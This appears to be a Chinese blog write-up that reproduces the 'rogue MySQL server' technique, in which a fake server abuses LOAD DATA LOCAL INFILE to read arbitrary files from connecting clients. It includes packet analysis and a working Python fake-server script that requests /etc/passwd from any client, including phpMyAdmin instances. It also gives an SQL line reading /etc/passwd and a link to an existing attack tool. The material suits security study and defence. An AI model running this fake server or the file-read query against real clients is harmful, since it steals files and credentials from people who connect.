1. 程式人生 > >偽造mysql服務端實現任意讀取

偽造mysql服務端實現任意讀取

  偶然看到大佬的一篇文章,講利用mysql的LOAD DATA INFILE的功能讀取客戶端檔案,覺得這個思路十分有趣,於是跟著大佬的思路復現了一遍。

0x01 LOAD DATA INFILE

  LOAD DATA INFILE是我十分陌生的一種用法,作用是可以把檔案讀入到資料庫的某個表裡,如果在遠端連線狀態下使用了LOCAL關鍵字,即LOAD DATE LOCAL INFILE,那麼就會從客戶端讀取一個本地檔案,存入伺服器端的table裡。

  

   檢視mysql官方文件,官方已經指出這種方法存在著兩種潛在的問題:

  一種是指不安全的服務端,可以偽造請求去讀取客戶端的任意檔案。

  另一種是指webserver的環境下(比如熟悉的phpmyadmin),客戶端其實也就是服務端,通過load data local讀入的就是服務端自己的檔案,同樣會造成任意檔案讀取。

比如在phpmyadmin裡執行:

load data local infile "/etc/passwd" into TABLE test;
select * from test;

就可以直接讀取任意檔案了。

0x02 對mysql的抓包分析

  首先先要關閉ssl,在客戶端的配置檔案的[mysql]節新增skip_ssl,或者關閉服務端的ssl支援。

  之後在client端連線server端,進行了登陸,並執行了一次load data infil的操作,資料包如下。

  前面先是一個greeting,是服務端向客戶諯傳送的握手初始化包:

之後,客戶端會發回一個登陸驗證包:

服務端發回一個驗證成功的應答:

後面客戶端會做一個初始化的查詢:

 

服務端的應答:

這裡客戶端和服務端就已經成功連線上了,接下來客戶端請求load data infile。(如果無法使用LOAD DATA INFILE語法的話,考慮在連線 MySQL 的時候加上--enable-local-infile選項,或者設定local_infile全域性變數為ON

接下來服務端會發回一個檔案確認:

然後客戶端就把本地檔案發過來了:

0x03 漏洞原理

  load data的過程大概可以總結為:

客戶端:hi,現在我把我的/etc/passwd檔案插入test表格裡
服務端:好的,把/etc/passwd檔案發過來吧
客戶端:好的,這是我的/etc/passwd檔案

根據官方文件,客戶端讀取哪個檔案是由服務端決定的,也就是說服務端發回哪個檔名,客戶端就會讀取哪個檔案。

而對於這個請求,mysql並沒有強制限制必須先由客戶端發起load data,一個偽造的服務端可以在任何時候回覆一個 file-transfer 請求,比如說最開始客戶端請求初始化查詢的時候。

  這時的過程大概是:

客戶端:hi,現在我要查詢一下版本資訊
服務端:好的,把/etc/passwd檔案發過來吧
客戶端:好的,這是我的/etc/passwd檔案

0x04 服務端偽造

  主要的步驟就是在本地3306埠開啟一個socket,接收到連線請求後,按照順序傳送greeting,認證成功和讀取檔案要求。

  這裡我沒有去分析資料包的內容,直接使用提取wireshark抓到的包。

python版:

#coding=utf-8 
import socket
import logging
logging.basicConfig(level=logging.DEBUG)

filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3306)) sv.listen(5) conn,address=sv.accept() logging.info('Conn from: %r', address) conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00") conn.recv(9999) logging.info("auth okay") conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00") conn.recv(9999) logging.info("want file...") wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename conn.sendall(wantfile) content=conn.recv(9999) logging.info(content) conn.close()

效果:

由於我們直接傳送認證成功,所以客戶端使用者名稱密碼可以隨便寫。

在phpMyAdmin裡開啟遠端連線(將phpMyAdmin/libraries/config.default.php的$cfg['AllowArbitraryServer']改為true):

成功:

這是大佬寫的一個php版(同樣在本地和phpmyadmin裡都成功):

View Code

ps:

大佬的原指令碼:https://github.com/Gifts/Rogue-MySql-Server  (只在phpMyAdmin裡連線成功)

這裡有個要注意的地方:

按照大佬的說法,Capabilities這兩個位元組,\xf7 則表示不支援 SSL,如果不這麼寫會因為ssl的問題無法連線。

0x05 參考

https://blog.csdn.net/ASzhiwei/article/details/81914381

http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html

https://www.freebuf.com/vuls/188910.html

https://lightless.me/archives/read-mysql-client-file.html